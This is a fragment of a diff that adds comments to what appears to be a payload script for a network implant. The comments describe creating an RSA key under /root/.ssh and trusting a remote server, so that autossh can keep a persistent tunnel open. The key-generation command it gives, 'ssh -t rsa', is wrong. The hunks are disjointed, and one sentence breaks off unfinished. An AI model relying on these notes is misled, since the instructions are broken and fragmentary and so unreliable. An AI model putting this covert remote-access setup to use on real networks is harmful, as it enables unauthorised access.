+# no pass needed, headless mode required so RSA key file is used.
+#
+# generate the key by running the following command in the /root/.ssh/ folder:
+# 'ssh -t rsa -b 2048 -f id_rsa'
+#
+# To ensure that this works as intended, the user will have to connect to this host at least once
+# with ssh -i /root/.ssh/id_rsa username@remote_server_ip to add this server to the squirrels list
+# of trusted hosts.
+#
+# If this step fails, the payload will fail.

+# For the life of me I couldn't get SSH to work. The funny thing was it would

+# implements a tool called autossh which ensures nothing funky happens to the
+# connection.
